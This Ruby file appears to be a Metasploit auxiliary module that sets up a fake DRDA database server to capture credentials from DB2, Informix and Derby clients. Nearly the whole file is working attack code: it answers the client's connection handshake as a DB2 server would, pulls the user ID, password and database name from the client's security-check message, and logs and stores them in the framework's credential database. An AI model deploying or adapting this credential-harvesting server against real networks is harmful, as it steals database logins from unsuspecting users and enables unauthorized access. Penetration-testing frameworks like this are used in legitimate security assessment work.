# -*- coding: binary -*-

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::TcpServer
  include Msf::Auxiliary::Report

  class Constants
    CODEPOINT_ACCSEC    = 0x106d
    CODEPOINT_SECCHK    = 0x106e
    CODEPOINT_SRVCLSNM  = 0x1147
    CODEPOINT_SRVCOD    = 0x1149
    CODEPOINT_SRVRLSLV  = 0x115a
    CODEPOINT_EXTNAM    = 0x115e
    CODEPOINT_SRVNAM    = 0x116d
    CODEPOINT_USERID    = 0x11a0
    CODEPOINT_PASSWORD  = 0x11a1
    CODEPOINT_SECMEC    = 0x11a2
    CODEPOINT_SECCHKCD  = 0x11a4
    CODEPOINT_SECCHKRM  = 0x1219
    CODEPOINT_MGRLVLLS  = 0x1404
    CODEPOINT_EXCSATRD  = 0x1443
    CODEPOINT_ACCSECRD  = 0x14ac
    CODEPOINT_RDBNAM    = 0x2110
  end

  def initialize
    super(
      'Name'           => 'Authentication Capture: DRDA (DB2, Informix, Derby)',
      'Description'    => %q{
        This module provides a fake DRDA (DB2, Informix, Derby) server
      that is designed to capture authentication credentials.
      },
      'Author'         => 'Patrik Karlsson <patrik[at]cqure.net>',
      'License'        => MSF_LICENSE,
      'Actions'        => [ [ 'Capture' ] ],
      'PassiveActions' => [ 'Capture' ],
      'DefaultAction'  => 'Capture'
    )

    register_options(
      [
        OptPort.new('SRVPORT', [ true, "The local port to listen on.", 50000 ])
      ])
  end

  def setup
    super
    @state = {}
  end

  def run
    exploit()
  end

  def on_client_connect(c)
    @state[c] = {
      :name     => "#{c.peerhost}:#{c.peerport}",
      :ip       => c.peerhost,
      :port     => c.peerport,
      :user     => nil,
      :pass     => nil,
      :database => nil
    }
  end

  # translates EBDIC to ASCII
  def drda_ascii_to_ebdic(str)
    a2e = [
      "00010203372D2E2F1605250B0C0D0E0F101112133C3D322618193F271C1D1E1F" +
      "405A7F7B5B6C507D4D5D5C4E6B604B61F0F1F2F3F4F5F6F7F8F97A5E4C7E6E6F" +
      "7CC1C2C3C4C5C6C7C8C9D1D2D3D4D5D6D7D8D9E2E3E4E5E6E7E8E9ADE0BD5F6D" +
      "79818283848586878889919293949596979899A2A3A4A5A6A7A8A9C04FD0A107" +
      "202122232415061728292A2B2C090A1B30311A333435360838393A3B04143EE1" +
      "4142434445464748495152535455565758596263646566676869707172737475" +
      "767778808A8B8C8D8E8F909A9B9C9D9E9FA0AAABAC4AAEAFB0B1B2B3B4B5B6B7" +
      "B8B9BABBBC6ABEBFCACBCCCDCECFDADBDCDDDEDFEAEBECEDEEEFFAFBFCFDFEFF"
    ].pack("H*")
    str.unpack('C*').map {|c| a2e[c] }.pack("A"*str.length)
  end

  # translates ASCII to EBDIC
  def drda_ebdic_to_ascii(str)
    e2a = [
      "000102039C09867F978D8E0B0C0D0E0F101112139D8508871819928F1C1D1E1F" +
      "80818283840A171B88898A8B8C050607909116939495960498999A9B14159E1A" +
      "20A0A1A2A3A4A5A6A7A8D52E3C282B7C26A9AAABACADAEAFB0B121242A293B5E" +
      "2D2FB2B3B4B5B6B7B8B9E52C255F3E3FBABBBCBDBEBFC0C1C2603A2340273D22" +
      "C3616263646566676869C4C5C6C7C8C9CA6A6B6C6D6E6F707172CBCCCDCECFD0" +
      "D17E737475767778797AD2D3D45BD6D7D8D9DADBDCDDDEDFE0E1E2E3E45DE6E7" +
      "7B414243444546474849E8E9EAEBECED7D4A4B4C4D4E4F505152EEEFF0F1F2F3" +
      "5C9F535455565758595AF4F5F6F7F8F930313233343536373839FAFBFCFDFEFF"
    ].pack("H*")
    str.unpack('C*').map {|c| e2a[c] }.pack("A"*str.length)
  end

  # parses and returns a DRDA parameter
  def drda_parse_parameter(data)
    param = {
      :length => data.slice!(0,2).unpack("n")[0],
      :codepoint => data.slice!(0,2).unpack("n")[0],
      :data => ""
    }
    param[:data] = drda_ebdic_to_ascii(data.slice!(0,param[:length] - 4).unpack("A*")[0])
    param
  end

  # creates a DRDA parameter
  def drda_create_parameter(codepoint, data)
    param = {
      :codepoint => codepoint,
      :data => drda_ascii_to_ebdic(data),
      :length => data.length + 4
    }
    param
  end

  # creates a DRDA CMD with parameters and returns it as an opaque string
  def drda_create_cmd(codepoint, options = { :format => 0x43, :correlid => 0x01 }, params=[])
    data = ""
    for p in params.each
      data << [p[:length]].pack("n")
      data << [p[:codepoint]].pack("n")
      data << [p[:data]].pack("A*")
    end

    hdr = ""
    hdr << [data.length + 10].pack("n")
    hdr << [0xd0].pack("C") # magic
    hdr << [options[:format]].pack("C") # format
    hdr << [options[:correlid]].pack("n") # corellid
    hdr << [data.length + 4].pack("n") # length2
    hdr << [codepoint].pack("n")

    data = hdr + data
    data
  end

  # parses a response and returns an array with commands and parameters
  def drda_parse_response(data)
    result = []

    until data.empty?
      cp = {
        :length => data.slice!(0, 2).unpack("n")[0],
        :magic  => data.slice!(0, 1).unpack("C")[0],
        :format => data.slice!(0, 1).unpack("C")[0],
        :corellid => data.slice!(0,2).unpack("n")[0],
        :length2 => data.slice!(0,2).unpack("n")[0],
        :codepoint => data.slice!(0,2).unpack("n")[0],
        :params => []
      }
      cpdata = data.slice!(0, cp[:length] - 10)
      until cpdata.empty?
        cp[:params] << drda_parse_parameter(cpdata)
      end
      result << cp
    end
    result
  end

  # sends of a DRDA command
  def drda_send_cmd(c, cmd)
    data = ""
    cmd.each {|d| data << d}
    c.put data
  end

  def on_client_data(c)
    data = c.get_once

    return if not data

    for cmd in drda_parse_response(data).each
      case cmd[:codepoint]
      when Constants::CODEPOINT_ACCSEC
        params = []
        params << drda_create_parameter(Constants::CODEPOINT_EXTNAM, "DB2     db2sysc 05D80B00%FED%Y00")
        params << drda_create_parameter(Constants::CODEPOINT_MGRLVLLS, ["9d03008e847f008e1c970000840f00979d20008d9dbe0097"].pack("H*"))
        params << drda_create_parameter(Constants::CODEPOINT_SRVCLSNM, "QDB2/NT64")
        params << drda_create_parameter(Constants::CODEPOINT_SRVNAM, "DB2")
        params << drda_create_parameter(Constants::CODEPOINT_SRVRLSLV, "SQL10010")

        cmd = []
        cmd << drda_create_cmd(Constants::CODEPOINT_EXCSATRD, { :format => 0x43, :correlid => 1 }, params)

        params = []
        params << drda_create_parameter(Constants::CODEPOINT_SECMEC, "\x00\x03")
        cmd << drda_create_cmd(Constants::CODEPOINT_ACCSECRD, { :format => 3, :correlid => 2 }, params)

        drda_send_cmd(c, cmd)

      when Constants::CODEPOINT_SECCHK
        for p in cmd[:params].each
          case p[:codepoint]
          when Constants::CODEPOINT_USERID
            @state[c][:user] = p[:data].rstrip
          when Constants::CODEPOINT_PASSWORD
            @state[c][:pass] = p[:data].rstrip
          when Constants::CODEPOINT_RDBNAM
            @state[c][:database] = p[:data].rstrip
          end
        end
      else
        # print_status("unhandled codepoint: #{cmd[:codepoint]}")
        # do nothing
      end
    end

    if @state[c][:user] and @state[c][:pass]
      print_good("DRDA LOGIN #{@state[c][:name]} Database: #{@state[c][:database]}; #{@state[c][:user]} / #{@state[c][:pass]}")
      report_cred(
        ip: @state[c][:ip],
        port: datastore['SRVPORT'],
        service_name: 'db2_client',
        user: @state[c][:user],
        password: @state[c][:pass],
        proof: @state.inspect
      )

      params = []
      params << drda_create_parameter(Constants::CODEPOINT_SRVCOD, "\x00\x97")
      params << drda_create_parameter(Constants::CODEPOINT_SECCHKCD, "\x0f")

      cmd = []
      cmd << drda_create_cmd(Constants::CODEPOINT_SECCHKRM, { :format => 2, :correlid => 1 }, params)

      drda_send_cmd(c, cmd)
      #c.close
    end
  end

  def report_cred(opts)
    service_data = {
      address: opts[:ip],
      port: opts[:port],
      service_name: opts[:service_name],
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }

    credential_data = {
      origin_type: :service,
      module_fullname: fullname,
      username: opts[:user],
      private_data: opts[:password],
      private_type: :password
    }.merge(service_data)

    login_data = {
      core: create_credential(credential_data),
      status: Metasploit::Model::Login::Status::UNTRIED,
      proof: opts[:proof]
    }.merge(service_data)

    create_credential_login(login_data)
  end

  def on_client_close(c)
    @state.delete(c)
  end
end
